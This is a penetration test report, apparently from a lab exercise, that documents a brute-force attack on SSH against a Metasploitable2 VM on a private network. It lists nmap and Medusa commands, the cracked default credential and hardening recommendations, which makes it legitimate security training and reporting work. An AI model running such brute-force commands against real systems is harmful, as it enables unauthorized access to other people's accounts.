Penetration Test Report – SSH Brute Force Attack Simulation

Target: Internal Lab Environment (Metasploitable2)
Tester: Abdelalim saada
Classification: Internal Penetration Test

1. Executive Summary

This assessment simulated a malicious actor attempting to gain unauthorized access to a vulnerable system through an SSH brute force attack. Using reconnaissance tools and password-cracking techniques, the test successfully compromised the target system's SSH service by exploiting default credentials.

The results demonstrate the importance of secure credential management, especially for publicly exposed services like SSH.

2. Scope of Engagement

- **Target Host:** `192.168.100.111` (Metasploitable2 VM)
- **Attacker Host:** `192.168.100.59` (Kali Linux VM)
- **Service in Focus:** SSH (Port 22)
- **Testing Type:** Black-box internal simulation
- **Tools Used:**
  - **Nmap** – Service and version detection
  - **Medusa** – Brute force password testing

3. Methodology

Step 1 – Network Verification

- **Action:** Confirmed network connectivity between attacker and target.
- **Command:**
- `ping 192.168.100.111`
- **Result:** Target host responded, confirming availability for further testing.

Step 2 – Reconnaissance (Nmap Scan)

- **Action:** Identified open ports and running services on the target.
- **Command:**
- `nmap -sV 192.168.100.111`
- **Finding:**

- `22/tcp open  ssh   OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)`
- **Impact:** SSH service running with potentially outdated version.

Step 3 – Wordlist Preparation

- Created `passwords.txt` containing common weak credentials.

Step 4 – Brute Force Execution (Medusa)

- **Action:** Used Medusa to attempt multiple passwords for the `msfadmin` account.
- **Command:**
- `medusa -h 192.168.100.111 -u msfadmin -P passwords.txt -M ssh`
- **Result:**
- `ACCOUNT FOUND: [ssh] Host: 192.168.100.111 User: msfadmin Password: msfadmin`

4. Vulnerability Details

- **Name:** Weak SSH Credentials (Default Password)
- **OWASP 2021 Mapping:** A07 – Identification and Authentication Failures
- **CVSS v3.1 Score:** 9.8 (Critical)
- **Impact:**
  - Full system access via SSH.
  - Ability to execute arbitrary commands.
  - Potential to escalate privileges and pivot within the network.

---

5. Recommendations

1. **Change default credentials** immediately upon system deployment.
2. **Restrict SSH access** to trusted IP addresses using firewall rules.
3. **Implement account lockout policies** to block brute force attempts.
4. **Use fail2ban** or intrusion prevention systems to detect and block malicious login attempts.
5. **Enforce strong password policies** (length, complexity, expiration).

---

6. Conclusion

The successful compromise of the SSH service highlights the critical risk of leaving default or weak passwords on exposed systems. Regular security audits, strong password policies, and network access controls are essential to prevent such attacks in real-world environments.